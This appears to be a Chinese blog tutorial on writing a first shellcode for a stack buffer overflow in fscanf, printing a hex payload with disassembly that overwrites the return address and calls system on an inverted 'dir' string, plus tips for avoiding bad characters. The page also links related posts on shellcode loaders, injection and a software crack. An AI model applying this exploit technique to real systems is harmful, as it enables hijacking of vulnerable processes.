ShellCode第一课

以jmp esp 为跳板的shellcode开发 0x00 Shellcode概述 Shellcode与exploit 1) shellcode:缓冲区攻击中植入进程的代码。进行删改文件、窃取数据、上传木马并运行、格式话硬盘等。用汇编语言编写,并转换成二进制机器码,内容和长度受到苛刻限制。 2) exploit: 漏洞利用程序,用于生成攻击性的网络数据包或其他形式的攻击性输入。exploit的核心是淹没返回地址,劫持进程控制权,跳去执行shel 阅读详情

C代码

 

未优化的Shell.bin文件 只是简单表示执行过程

9B968DFF9090909090909090909090908BF583EE78F7168BE65481EAA9D3527CFFD290909090909090909090909090909090909058FF1200

说明

9B968DFF  “dir”的反码表示形式

909090909090909090909090   空余空间

8BF583EE78F7168BE65481EAA9D3527CFFD2

0012FF58    8BF5            mov     esi, ebp  //构造的EIP

0012FF5A    83EE 78         sub     esi, 78

0012FF5D    F716            not     dword ptr [esi]  //还原”dir”

0012FF5F    8BE6            mov     esp, esi

0012FF61    54              push    esp

//得到system地址并执行

0012FF62    81EA A9D3527C   sub     edx, 7C52D3A9

0012FF68    FFD2            call    edx  

 

909090909090909090909090909090909090空余空间

58FF1200  关键点:这里替换了原来的函数返回地址 指向我们的代码地址

关键点

1:Fscanf在参数传递过程中没有对参数长度进行校验造成缓冲区溢出

2:Fscanf函数在读取文件的时候遇到 结束字符”00”,空格”20”等不能继续读取 所以

  在shellcode的时候这是关键点  所以要避免出现这些敏感字符 所以用求反not

  等办法处理  或者++ --等……

 

 

 

手戳shellcode编写 第一课(动态函数地址调用函数) 在程序免杀中,我们通常不会直接通过函数名称方式来调用函数,一般都是通过执行shellcode来执行我们需要的代码。如果直接将exe文件解析出来的shellcode会发现这些shellcode不能直接运行,因为函数地址调用的问题。因此我们需要动态获取函数地址来调用shellcode。为了了解shellcode的基础,我们先使用c++源码方式来学习,如果动态的获取函数地址,然后再使用汇编编写以下功能实现shellcode的完成编写。 阅读详情

相关推荐

超详细Tokenizer——文本训练数据预处理

Tokenizer是Keras库中的一个文本处理工具,它用于将文本分词并构建词汇表,同时将文本映射到整数序列。这对于自然语言处理任务非常有用,例如文本分类、情感分析、机器翻译等。

halo的博客 3700

编写shellcode(vs2017)

代码大概明白,细节处有待吸收。 注意:关闭GS,关闭DEP,优化/O1 引用//------------------------------------------------------------------------- // Shellcode Template in C // // Compile with VC 6: // C:\CSC> cl.exe -MD -O1 Shellco

osummertime的博客 2842

综合能源系统多时间尺度优化调度!诸多创新点让你抓住审稿人的心!

主要介绍综合能源系统的设备组成结构,并针对屋顶光伏系统、冷-热-电联供系统中的燃气轮机、燃气锅炉、光伏溴化锂制冷机、卡琳娜余热发电、中央空调系统,以及外网交互系统的配电网与天然气管网交互关系进行数学建模。1) 源-荷-储协同调度:研究屋顶光伏、燃气轮机、燃气锅炉等源侧设备,中央空调、电-热-冷负荷、可平移电负荷、可削减温控负荷等负荷侧资源,以及储能系统、电动汽车等储能侧设备的协同调度,以提高风光消纳能力,满足社会能源需求。通过电转热、电转冷、电转气等多能耦合方式,可进一步促进可再生能源的应用与发展。

weixin_48747334的博客 1488

linux shell(一) helloWorld

1. chmod 777 script.sh ./script.sh ;等同于 enter键2.打印 echo xx printf: 类似c语言3.变量/环境变量 cat /proc/PID/environ取进程id:grep进程名var=”value”echoPID/environ 取进程id:grep 进程名 var=”value” echo var echo ${v

WalleChoy's blog 575

Axure RP 10表单数据提交制作

本文介绍了如何使用Axure RP 10实现表单数据提交。

Peppaaa的博客 989

(53页PPT)新型智慧病房整体解决方案(附下载方式)

当前医疗场景存在三大核心矛盾:院内感染风险(如输液异常发现滞后)、信息孤岛现象(11类业务系统数据割裂)、管理效能不足(30%护理时间耗费在机械性工作)。实际案例显示,整体运营效率提升40%,患者满意度提高28个百分点,真正实现了"让技术有温度,让数据会说话"的价值理念。本文将从需求分析、技术架构、应用场景三个维度,深度剖析这份53页解决方案的创新价值与实践路径。床旁智能终端整合12项功能:包括体征自动采集(误差率<1%)、医嘱执行核对(100%条码校验)、智能床垫离床报警(响应时间3秒)等。

AI_data_cloud的博客 715

windows下shellcode编写入门

本文简要介绍shellcode开发技术及其特点。理解这些概念可以有助于我们编写自己的shellcode。更进一步讲,你可以修改现有的漏洞利用代码来执行自己所需要的定制功能。

x_nirvana的博客 1万+

【Vite+Vue3+TS】基于Vite+Vue3+TypeScript+ESLint+Prettier+Stylelint搭建项目(亲测超详细)

结合了很多项目和文章,总结一篇项目构建的笔记。 温馨提示:文章末尾记录了我在搭建项目过程中,遇到的一些问题和解决办法 ~

aDiaoYa_的博客 4231

maldev 入门第一课:Shellcode 注入 4 步流程详解与源码逐行解析

如果你刚开始接触 maldev(恶意软件开发)领域,**Shellcode 注入** 一定是你绕不开的第一个名字。它是最经典、最容易上手的 Windows 进程注入技术,几乎每一个安全研究人员都从它学起。本文以 GitHub 加速计划中的 maldev 项目为基础,用 4 步流程拆解 Shellcode 注入的完整原理,并对 `Shellcode Injection/` 目录下的源码做逐行解析。全

gitblog_00407的博客 895

【一张图系列】别再混淆了!5分钟搞懂ERP、MES、PLC的职责边界与数据流》

《ERP、MES、PLC系统边界与协作解析》一文清晰阐述了制造业三大核心系统的角色分工与数据流转。文章将ERP比作企业"大脑"负责战略规划,MES作为车间"指挥官"负责执行调度,PLC则是设备"士兵"执行具体操作。通过一张架构图展示了从计划层到控制层的完整信息流:蓝色箭头表示指令下行(ERP→MES→PLC),橙色箭头代表数据上行反馈(PLC→MES→ERP)。文章强调理清系统边界对数字化转型、部门协作和项目实施的关键作用,并预告下期将深入解析ME

「东哥说MES」 专注于MES制造执行系统,为你拆解核心架构、功能模块及与ERP/PLC的集成逻辑。提供从入门到精通的系列干货、精选行业报告与实用工具,构建你的数字化知识体系,关注我,用实战经验照亮你的数字化之路。 969

超强干货之---Python-数据爬取(爬虫)

定义: 深度优先搜索是一种遍历或搜索树或图的算法,从起始节点开始,一直沿着一个分支走到底,再回溯到上一个节点继续搜索下一个分支,直到遍历完所有节点。特点递归:通常用递归实现,或者使用栈来模拟递归过程。内存占用低:在有大量分支的情况下,内存占用比广度优先搜索低。适合目标较深的情况:如果目标节点距离起始节点较深,DFS能更快找到目标。适用场景需要遍历所有节点的情况,如生成树、迷宫搜索。目标节点较深,且分支较多时。在大规模数据爬取时,选择合适的存储方式取决于数据的规模、结构和访问需求。

房东的猫的博客 5万+

ret2shellcode

shellcode的含义: 在栈溢出的攻击技术中通常是要控制函数的返回地址到自己想要的地方执行自己想要执行的代码。ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的shellcode区域中去执行shellcode代码,这是非常危险的。 这里学习一下shellcode的利用方式,用ret2shellcode作为例题 先用checksec查看一下保护,可以看到,没有开启任何保护机制,且是一个32位的程序 使用IDA分析程序,只发现了主函数,并没有发现后门函数 get

qq_45691294的博客 5553

数字后端:版图基础seal ring

seal ring结构是为了防止划片或封装对芯片造成破坏,从而在芯片与划片道(scribe line)之间添加的一圈保护环

m0_61544122的博客 1万+

Shellcode的原理及编写

1.shellcode原理

maotoula的专栏 7万+

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

3个月的SHELLCODE研究成果-一个最简单的Shellcode

坚持到底,永不放弃。我终于写了个小小的SHELLCODE啦。就拿这个星期来说,我日思夜想,为什么我总写不出可以正确执行的SHELLCODE呢,非常郁闷,也整天板着脸想问题,差点吓着小MM同事了。我本来ASSEMBLY基础不是很好,只懂得可怜的几个INSTRUCTIONS,写SHELLCODE时碰到了很多不认识的Instructions。还要上网差资料,有时真的是一头雾水。我看了很多前辈写的SHEL

小发猫 3593

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

WINDOWS的SHELLCODE编写高级技巧

WINDOWS的SHELLCODE编写高级技巧   作者:yuange (mailto:yuange@nsfocus.com) 主页:http://www.nsfocus.com/       unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出 再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比 较简单。但WINDO

老鬼的专栏 1720

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

shellcode编写

文章目录注意事项基础知识开始编写第一步 初始化第二步 实现其他函数动态调用第三部 实现GetProcAddress和LoadLibraryA的动态调用获取kernel32.dll基址动态调用GetProcAddress实战CreateFileAMessageBoxA导出shellcode第一种shellcode编写实例1第一种shellcode编写实例2(优化结构)shellcode加载器 注意事项 不使用全局变量 不使用类似于"abc"这样的字符串,通过数组定义字符串,char name[] = {0x

qq_44657899的博客 3412

认识ShellCode

shellcode的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址上去执行shellcode。exploit主要强调执行控制权,而shellcode更关注于有了控制权之后的功能。因此shellcode更像是exploit的载荷,往往对于不同漏洞来讲exploit是特殊的,而shellcode会具有一些通用性。可以看到生成一个payload_x64.c。

xlsj雪松的博客 1084

Shellcode详解

Shellcode是一种小巧、紧凑的机器代码,通常用于利用软件漏洞或注入攻击中。其名称来源于早期的黑客技术,其中的代码通常会启动一个命令行shell(如Bash或cmd),因此称为“shellcode”。不过,现在shellcode不仅仅用于启动shell,还可以执行各种恶意活动,如下载并执行恶意软件、修改系统设置等。

N阶二进制的博客 4517

记录一次 Ret2Shellcode

CTF 校赛 TCP Shellcode

2403_88052992的博客 1746

ShellCode —— 入门

原理 简单来说,shell code 的核心就是把代码写成 “与地址无关” 的风格,让它不论是在什么环境下都可以被执行。 具体注意: 使用 API 时应该动态调用(GetProAddress) 不能使用全局变量,或者用 static 修饰的变量 在 shellcode 工程中要自定义入口函数 确保调用 API 之前都已经加载了与之对应的 DLL 所有的字符串都要用字符串数组的方式代替 环境搭建 首先新建一个项目,这里我推荐 空项目,之后创建一个 main.cpp 文件: 使用 Release 模式写

LYSM 5358

网络攻防技术—shellcode编写实验

shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验的目的是帮助学生理解这些技术,以便他们能够编写自己的shellcode。编写shellcode有几个挑战,一个是确保二进制文件中没有0x00,另一个是找出命令中使用的数据的地址。第一个挑战不是很难解决,有几种方法可以解决它。

wion03的博客 2251

0基础写shellcode加载器

从0开始了解shellcode 和加载器

qq_60870726的博客 3049
上一篇: 异常处理
下一篇: 编写shellcode 常见敏感字符
cmdhack
博客等级 码龄19年 20粉丝 77原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值